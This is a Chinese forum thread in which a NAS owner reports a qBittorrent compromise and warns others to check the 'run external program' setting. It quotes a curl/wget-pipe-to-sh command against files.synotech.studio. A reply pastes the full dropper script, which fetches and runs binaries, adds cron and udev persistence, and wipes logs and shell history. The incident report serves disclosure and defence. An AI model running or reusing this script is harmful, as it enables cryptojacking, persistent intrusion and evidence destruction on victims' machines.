- 在昨天下班回家后,听见 nas 怪吵,看了下探针 CPU50%,检查进程,qbittorrent 进程极为活跃,但是没有正在下载的内容。平时一直用 rss 自动挂 sukebei ,确认过确实没有活跃任务,这就活见鬼了。
- ssh 中 top 了一下,b3qmud4h 这个进程跑的飞起,怀疑有问题,互联网上搜索一圈,b3qmud4h 为自动生成的字段。
- kill -9 该进程后,cpu 恢复正常,qb 服务也没出现问题
- 重启 qbittorrent ,再次出现高 cpu 占用进程,同样为随机字符的任务。
- 检查 qbittorrent 日志,发现 “运行外部程序。Torrent:“*********”。命令:`sh -c "(curl -skL https://files.synotech.studio || wget --no-check-certificate -qO - https://files.synotech.studio) | sh"`”
- 通过搜索,得知设置→下载→运行外部程序 选项如果打勾的话,是可以通过种子直接运行脚本的
- 大家务必检查一下这个设置是否开启,我的印象里是没有认为开启过,可能和包或者是 docker 镜像有关
举报· 1241 次点击
登录 注册 站外分享
11 条回复  
TeslaLyon 小成 昨天 08:39
我用的这个: https://github.com/c0re100/qBittorrent-Enhanced-Edition
villivateur 小成 昨天 08:47
话说 qBittorrent 为什么要写这么危险的功能呢?如果把挖矿脚本换成木马,岂不是一下子倒一大片
k9982874 小成 昨天 08:47
官方源的包不会有问题,你的 qb 安装自不明脚本?
Sanarara 楼主 初学 昨天 08:48
@k9982874 群晖矿神 5.0.3 的包,已更换 docker
villivateur 小成 昨天 08:51
而且我看了,这个功能的目的是相当于一个种子下载之后的 hook ,“外部程序”指的本机本来就有的程序,所以大概率还是你的 qb 本身已经被入侵了。
cat 小成 昨天 08:51
@Sanarara 矿神…… 不拿你挖矿对得起这名字吗 doge
ysc3839 小成 昨天 08:54
那个脚本要用户自己去设置里填写的吧?怎么可能自动从种子里获取?感觉是别的地方被入侵了,比如说开启了 WebUI 没设置密码暴露到公网上了。
iislong 小成 昨天 08:55
我的一切正常
Sanarara 楼主 初学 昨天 08:56
#!/bin/sh ARCH=$(uname -m) FILE=$(head /dev/urandom | tr -dc 'A-Za-z0-9' | head -c 8) if [ ! "$(grep -c ":5B25" /proc/net/tcp)" -gt 0 ]; then EXEC=$(for i in $(mount | grep -awv noexec | grep -aw "rw" | awk '{print $3}'); do find $i -maxdepth 0 -type d -executable 2>/dev/null; done) (ps -eo pid,%cpu --sort=-%cpu | awk '$2 > 80 {print $1}' | xargs -I % kill -9 %) >/dev/null 2>&1 if [ "$ARCH" = "x86_64" ]; then for i in /tmp $PWD $HOME $EXEC; do (curl -sk https://files.synotech.studio/1 -o "$i"/"$FILE" || wget --no-check-certificate -qO "$i"/"$FILE" https://files.synotech.studio/1) >/dev/null 2>&1 (cd "$i" ; chmod +x "$FILE" ; ./"$FILE") >/dev/null 2>&1 rm -rf "$i"/"$FILE" >/dev/null 2>&1 sleep 15 if [ "$(grep -c ":5B25" /proc/net/tcp)" -gt 0 ]; then break fi done elif [ "$ARCH" = "aarch64" ]; then for i in /tmp $PWD $HOME $EXEC; do (curl -sk https://files.synotech.studio/2 -o "$i"/"$FILE" || wget --no-check-certificate -qO "$i"/"$FILE" https://files.synotech.studio/2) >/dev/null 2>&1 (cd "$i" ; chmod +x "$FILE" >/dev/null 2>&1 ; ./"$FILE") >/dev/null 2>&1 rm -rf "$i"/"$FILE" >/dev/null 2>&1 sleep 15 if [ "$(grep -c ":5B25" /proc/net/tcp)" -gt 0 ]; then break fi done else exit 1 fi fi (if sudo -n true; then find /etc/cron.d -type f -exec rm -rf {} \; ; elif [ "$(id -u)" -eq 0 ]; then find /etc/cron.d -type f -exec rm -rf {} \; ; fi) >/dev/null 2>&1 (if sudo -n true; then echo 0 0 \* \* \* root sh -c "\"(curl -sk https://files.synotech.studio || wget --no-check-certificate -qO - https://files.synotech.studio) | sh"\" | sudo tee /etc/cron.d/mdadm; elif [ "$(id -u)" -eq 0 ]; then echo 0 0 \* \* \* root sh -c "\"(curl -sk https://files.synotech.studio || wget --no-check-certificate -qO - https://files.synotech.studio) | sh"\" | tee /etc/cron.d/mdadm; fi) >/dev/null 2>&1 UDEV='SUBSYSTEM=="net", KERNEL!="lo", RUN+="echo 0 0 \* \* \* root sh -c "\"(curl -sk https://files.synotech.studio || wget --no-check-certificate -qO - https://files.synotech.studio) | sh"\" | (sudo tee /etc/cron.d/mdadm || tee /etc/cron.d/mdadm)"' (if sudo -n true; then echo $UDEV | sudo tee /etc/udev/rules.d/mdadm; elif [ "$(id -u)" -eq 0 ]; then echo $UDEV | tee /etc/udev/rules.d/mdadm; fi) >/dev/null 2>&1 (if sudo -n true; then for logs in $(sudo find /var/log -type f); do sudo rm $logs; done; elif [ "$(id -u)" -eq 0 ]; then for logs in $(find /var/log -type f); do rm $logs; done; fi) >/dev/null 2>&1 (rm $HOME/.bash_history) >/dev/null 2>&1 (history -c) >/dev/null 2>&1
12下一页
返回顶部